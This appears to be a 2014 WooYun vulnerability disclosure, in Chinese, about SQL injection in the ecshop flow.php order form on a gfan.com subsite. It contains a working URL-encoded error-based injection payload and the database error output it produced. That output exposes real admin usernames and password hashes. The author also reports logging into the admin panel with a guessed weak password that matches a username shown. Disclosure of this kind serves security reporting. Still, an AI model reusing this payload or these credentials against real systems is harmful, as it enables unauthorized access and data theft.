当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067299

漏洞标题:机锋网某站未打补丁SQL注射

相关厂商:机锋网

漏洞作者: mango

提交时间:2014-07-04 09:51

修复时间:2014-08-18 09:52

公开时间:2014-08-18 09:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-04: 细节已通知厂商并且等待厂商处理中
2014-07-04: 厂商已经确认,细节仅向厂商公开
2014-07-14: 细节向核心白帽子及相关领域专家公开
2014-07-24: 细节向普通白帽子公开
2014-08-03: 细节向实习白帽子公开
2014-08-18: 细节向公众公开

简要描述:

详细说明:

没错就是他!!
http://nb.gfan.com
使用了ecshop模板 flow.php提交订单注入

CXYC36QG5G)}LODTU6B)25H.jpg


(只能爆出一个用户这个就不爽了自己构造一下爆出两个)

goods_number%5B1%27+and+%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+concat%28user_name%2C0x7c%2Cpassword%29+FROM+ecs_admin_user+limit+1%2C1%29%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+1%3D1+%23%5D=1&submit=exp

漏洞证明:

后台
http://nb.gfan.com/admin/privilege.php?act=login
<b>MySQL server error report:Array
(
[0] => Array
(
[message] => MySQL Query Error
)
[1] => Array
(
[sql] => SELECT `goods_id`, `goods_attr_id`, `product_id`, `extension_code` FROM`gfanpark`.`ecs_cart` WHERE rec_id='1' and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #' AND session_id='4afc55a640659dd0d7ee1b6a87f5b755'
)
[2] => Array
(
[error] => Duplicate entry 'gfan2014|9f972b5b3cf89aa1af003accb4290a071' for key 'group_key'
)
[3] => Array
(
[errno] => 1062
)
)
<b>MySQL server error report:Array
(
[0] => Array
(
[message] => MySQL Query Error
)
[1] => Array
(
[sql] => SELECT `goods_id`, `goods_attr_id`, `product_id`, `extension_code` FROM`gfanpark`.`ecs_cart` WHERE rec_id='1' and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #' AND session_id='4422a128b5564f3a23604f2c8275a212'
)
[2] => Array
(
[error] => Duplicate entry 'bjgonghuo1|2a54e831158524187b7e585d34026b791' for key 'group_key'
)
[3] => Array
(
[errno] => 1062
)
)
第一个没解开 第二个也没解开!!!蛋疼我就试试弱口令发现用户名
bjgonghuo1
bjgonghuo1
进来了

34]TICZ7BZKWJPA493$YX6B.jpg

修复方案:

版权声明:转载请注明来源 mango@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-07-04 10:14

厂商回复:

感谢提交,修复中。。。

最新状态:

暂无


漏洞评价:

评论